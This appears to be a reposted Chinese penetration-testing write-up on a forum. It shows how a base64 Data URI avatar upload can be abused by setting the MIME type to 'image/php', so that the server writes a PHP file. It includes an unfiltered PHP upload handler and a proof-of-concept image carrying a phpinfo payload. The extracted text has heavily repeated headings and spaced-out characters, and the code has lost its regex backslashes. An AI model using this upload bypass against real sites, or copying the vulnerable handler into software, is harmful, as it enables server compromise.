搜索

[6965] 2020-10-07_DataURIscheme在上传中的应用

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-10-07_DataURIscheme在上传中的应用 D a t a   U R I   s c h e m e 在 上 传 中 的 应 用 E 安 全   2 0 2 0 - 1 0 - 0 7 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 M d 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 在 一 次 上 传 测 试 过 程 中 发 现   了 这 个 （ 其 实 以 前 也 遇 到 过 ， 但 是 一 直 没 有 去 尝 试 ） ， b p 截 图 如 下 ： N o . 1 N o . 1 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 测 试 阶 段 眨 眼 一 看 ， 毫 无 头 绪 ， 但 是 别 的 地 方 有 没 有 突 破 口 ， 故 只 能 在 这 里 死 磕 了 ！ 然 后 就 开 始 对 P o s t 里 的 包 进 行 f u z z ， 这 里 实 现 的 功 能 是 头 像 上 传 ， 但 是 又 不 像 普 通 的 文 件 上 传 有 f i l e n a m e = " a a . j s p " 之 类 的 参 数 ， 唯 一 可 见 的 就 是 有 个 M I M E 类 型 ， 通 过 改 变 M I M E 类 型 的 参 数 ， 发 现 突 破 口 果 然 在 这 里 然 后 又 发 现 了 文 件 后 缀 名 提 取 规 则 那 么 文 件 后 缀 就 是 b b （ 正 则 是 以 " / " 来 进 行 分 割 判 断 的 ， 所 以 最 终 可 以 这 样 子 写 ） 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。 p h o t o B A S E 6 4 = d a t a : a a / b b ;
N o . 2 N o . 2 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 通 过 上 网 搜 索 ， 得 知 这 个 这 个 是 D a t a   U R I   s c h e m e 协 议 ， 以 此 次 头 像 上 传 为 例 ， 前 端 j s 将 j p g 头 像 转 换 成 D a t a   U R I   s c h e m e 格 式 ， 后 端 负 责 将 D a t a   U R I   s c h e m e 格 式 的 头 像 文 件 进 行 接 受 并 且 写 入 。 D a t a   U R I   S c h e m e 格 式 如 下 ： d a t a : ① [ < m i m e   t y p e > ] ② [ ; c h a r s e t = < c h a r s e t > ] ③ [ ; < e n c o d i n g > ] ④ , < e n c o d e d   d a t a > ⑤ ① .   d a t a   ： 协 议 头 ， 它 标 识 这 个 内 容 为 一 个   d a t a   U R I   资 源 ; ② .   [ < m i m e   t y p e > ]   ： 可 选 项 ， 数 据 类 型 （ i m a g e / p n g 、 t e x t / p l a i n 等 ） ③ .   [ ; c h a r s e t = < c h a r s e t > ]   ： 可 选 项 ， 源 文 本 的 字 符 集 编 码 方 式 ④ .   [ ; < e n c o d i n g > ] ： 数 据 编 码 方 式 （ 默 认 U S - A S C I I ， B A S E 6 4 两 种 ） ⑤ .   , < e n c o d e d   d a t a > ： 编 码 后 的 数 据 以 p h p 为 例 的 后 端 解 析 代 码 （ 无 过 滤 ） ： 成 功 上 传 p h p 文 件 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 普 京 呼 吁 俄 美 重 启 信 息 安 全 领 域 双 边 合 作   却 被 美 方 一 口 回 绝 突 发 ！ 达 飞 轮 船 疑 似 被 黑 客 攻 击   至 此 全 球 四 大 航 运 公 司 全 部 “ 中 招 ” 谷 歌 P l a y 商 店 下 架 了 1 7 款 恶 意 软 件   这 里 有 你 常 用 的 应 用 程 序 吗 ？ 外 交 部 霸 气 回 应 ： 增 进 自 身 网 络 安 全   保 护 关 键 信 息 基 础 设 施 免 受 威 胁 和 破 坏 小 E “ 拍 了 拍 你 ”   来 吃 秋 天 的 第 一 口 月 饼 呀 ！ ▼ 稿 件 合 作   陈 女 士   1 5 5 5 8 1 9 2 9 5 9 喜 欢 记 得 打 赏 小 E 哦 ！ f u n c t i o n   B a s e 6 4 T o I m g ( $ f i l e ) {     / /   $ b a s e 6 4 _ i m g     =   $ _ P O S T [ ' i m g ' ] ;     $ b a s e 6 4 _ i m g   =   $ f i l e ;       i f ( p r e g _ m a t c h ( ' / ^ ( d a t a : s * i m a g e / ( w + ) ; b a s e 6 4 , ) / ' ,   $ b a s e 6 4 _ i m g ,   $ r e s u l t ) ) {                     $ t y p e   =   $ r e s u l t [ 2 ] ;                     $ f i l e n a m e   =   t i m e ( ) . ' . ' . $ t y p e ;                     i f ( f i l e _ p u t _ c o n t e n t s ( $ f i l e n a m e ,   b a s e 6 4 _ d e c o d e ( s t r _ r e p l a c e ( $ r e s u l t [ 1 ] ,   ' ' ,   $ b a s e 6 4 _ i m g ) ) ) ) {                             e c h o   " 上 传 成 功 " ;                     }                     e l s e {                             e c h o   " 上 传 失 败 " ;                     }     } } $ b a s e 6 4 i m a g e =   ' d a t a : i m a g e / p h p ; b a s e 6 4 , / 9 j / 4 A A Q S k Z J R g A B A Q A A A Q A B A A D / 2 w B D A A Y E B Q Y F B A Y G B Q Y H B w Y I C h A K C g k J C h Q O D w w Q F x Q Y G B c U F h Y a H S U f G h s j H B Y W I C w g I y Y n K S o p G R 8 t M C 0 o M C U o K S j / 2 w B D A Q c H B w o I C h M K C h M o G h Y a K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C g o K C j / / g A V P D 9 w a H A g c G h w a W 5 m b y g p O y A / P v / A A B E I A D I A V g M B I g A C E Q E D E Q H / x A A c A A A C A w A D A Q A A A A A A A A A A A A A A B g M E B Q E C B w j / x A A 4 E A A C A g E B B A U I C Q U A A A A A A A A D B A A F E w Y B A i N D F B U z U 3 M S F j R E V I O T l A c R M j V B Q l W E w 1 J j d K P T / 8 Q A G A E B A Q E B A Q A A A A A A A A A A A A A A A A M E A g H / x A A d E Q E A A g I C A w A A A A A A A A A A A A A A A x M B A h I U E S M x / 9 o A D A M B A A I R A x E A P w D 6 j h C E A l B 6 w U r x 5 H W 1 1 x f 3 C R W s r d + w s S 1 m m O H j 4 b F g U f D H 4 f e E m l U 6 P r E y d I Y 3 O s H u Y w 5 x C Q O P P O h y f e H + s k 7 C 1 h Q 9 m W z E P x O H N 7 o 4 B 7 n Z j k Z F w E H j K M Z P E H C g V c A y L I u c Z x 9 4 M k t x Z d 0 f W F J 0 h P Y S v d 9 o T 4 c q V t o 4 g 6 N D U X k c T b j X c H 2 b H i d 2 S E z j C E I B C E I B F P V 9 g c S y 9 b X E 2 d Z W B O j D 2 9 3 s 5 h I 2 R M p B 9 a a 7 t n y e j J j 6 E P x O Z A 3 6 C r B U V w 0 1 t z h j / P 8 A 1 z L d 1 H v A c I v 1 L c n x 7 3 a C X 4 Z I 0 T N t b B e s S K 2 x k 6 O D Z k J j 3 P L h R i 7 7 u p L D f 2 j S r R V 4 v w P Y E y b f h j / 6 T c q l j L I i E d r f b J s + 2 f f / A D x O s / p X 0 b V 4 u s r M i e T s 8 q b A / w C O N O n L t D U N U v Z 1 R + l J H 7 M k C p Y J 3 Z G s i F u s u P 2 c i e T + S Q C r L d z Y V S / 6 q Y R J 7 O M g y S / e t M K J 5 F k X H y d 2 v j / k i C 1 9 L 9 Y p q V b T r t R c q W z B B j 2 D I M f M 9 5 D 3 G n k 5 6 X Y Y x E r X d / I 0 m T H k 7 w f L J G a K r v 1 A 1 F W t + 0 Z F y R p 2 7 Y S k 9 b m E I Q M I m q K T 9 W S + Y i D p b V C i 6 d a N Z 9 c j t h a E 6 Q P J x O I S H V 6 H s C 3 w 5 W d o 1 G F i j G u N c n L I M f Z k m f s N n W e x c u L l v Z k X J w x x Z r t X W a a + O 6 r G W M f r C f E y e 7 n Y m r K h z i E G 6 P x F y S l n I j j 4 f W z Z 0 9 R q + j 2 D v 6 0 T g t z i Y 9 s i p b z S t P V i T R Z T q 1 l 9 n o h O G Q f u 5 X S 1 x S r j x 4 7 H 5 M k t b u t 6 T f J 5 e B 3 L / h k i x K R b 3 9 U K e R v 7 S J u j Y 5 C 5 A c Q / h y W 1 T U y j f I g u R 0 Y + G Q g + I P 3 k g H r S o 2 j 9 d H + 3 J K L u t K j H 9 h 0 n 7 c k W E a P H 1 w P o 7 v i D x 8 u d q G / 3 Q L N J 3 b 6 w 3 F D k H k I T H k H y y T L 8 6 P r + 6 a h 0 h O 8 J w x z J W q / S T 2 y 6 z D r B M h C Y 4 s a a 9 J H p n n J S / r C X z A 4 T z f q 5 D c 9 T W + H C T v T 6 y 9 A X a Q h M z Y l H 2 k 4 h C d 4 c 5 E j h C E 8 r U h h C N B H z I L d p C E 7 c 6 i E I T h o f / 9 k = ' B a s e 6 4 T o I m g ( $ b a s e 6 4 i m a g e ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理